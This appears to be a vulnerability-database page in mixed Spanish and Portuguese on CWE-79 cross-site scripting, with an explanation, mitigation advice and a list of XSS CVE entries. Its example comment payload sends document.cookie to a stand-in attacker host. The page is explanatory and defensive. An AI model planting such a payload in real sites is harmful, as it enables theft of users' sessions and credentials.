Fallos del tipo CWE-79

29.151 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-51790MEDIUMCross Site Scripting vulnerability in piwigo v.14.0.0 allows a remote attacker to obtain sensitive information via the lang parameter in theEPSS 0.5%CVE-2026-76983MEDIUMApache Wicket: XSS in AutoLabelTextResolver via FormComponent.setLabelEPSS 0.5%CVE-2024-34091HIGHAn issue was discovered in Archer Platform 6 before 2024.04. There is a stored cross-site scripting (XSS) vulnerability. A remote authenticaEPSS 0.5%CVE-2026-76789HIGHSlider Hero < 9.1.3 - Unauthenticated Stored XSS via Slider Type Change and Add-Slider HandlersEPSS 0.5%CVE-2026-87786HIGHDewa Kirim <= 1.0.0 - Unauthenticated Stored XSS via Checkout CoordinatesEPSS 0.5%CVE-2026-11767HIGHCRT Addons for Elementor < 1.6.7 - Unauthenticated Stored XSS via Contact FormEPSS 0.5%CVE-2026-10081HIGHUnlimited Elements for Elementor < 2.0.11 - Unauthenticated Stored XSS via Google Reviews WidgetEPSS 0.5%CVE-2026-88793HIGHYouTube Embed 10.0 - 10.3 - Unauthenticated Stored XSS via youram_serverEPSS 0.5%CVE-2026-81660HIGHGroundhogg < 4.5.13 - Unauthenticated Stored XSS via Web Form Dropdown/Radio FieldEPSS 0.5%CVE-2023-5791LOWSourceCodester Sticky Notes App add-note.php cross site scriptingEPSS 0.5%CVE-2023-5698LOWCodeAstro Internet Banking System pages_deposit_money.php cross site scriptingEPSS 0.5%CVE-2023-5930LOWCampcodes Simple Student Information System manage_academic.php cross site scriptingEPSS 0.5%CVE-2026-76985MEDIUMApache Wicket: XSS in Palette via getAdditionalAttributesEPSS 0.5%CVE-2026-4300MEDIUMRobo Gallery <= 5.1.3 - Authenticated (Author+) Stored Cross-Site Scripting via 'Loading Label' SettingEPSS 0.5%CVE-2026-12968HIGHProduct Addons – WowAddons < 1.6.15 - Unauthenticated Stored XSS via Arbitrary SVG UploadEPSS 0.5%CVE-2023-5697LOWCodeAstro Internet Banking System pages_withdraw_money.php cross site scriptingEPSS 0.5%CVE-2024-26313HIGHArcher Platform 6.x before 6.14 P2 HF2 (6.14.0.2.2) contains a stored cross-site scripting (XSS) vulnerability. A remote authenticated malicEPSS 0.5%CVE-2024-1989MEDIUMSocial Sharing Plugin – Sassy Social Share <= 3.3.58 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.5%CVE-2026-76982MEDIUMApache Wicket: XSS in Button via its model objectEPSS 0.5%CVE-2026-88824HIGHMaster Blocks 1.4.1 - 1.4.1.4 - Unauthenticated Stored XSS via White Label SettingsEPSS 0.5%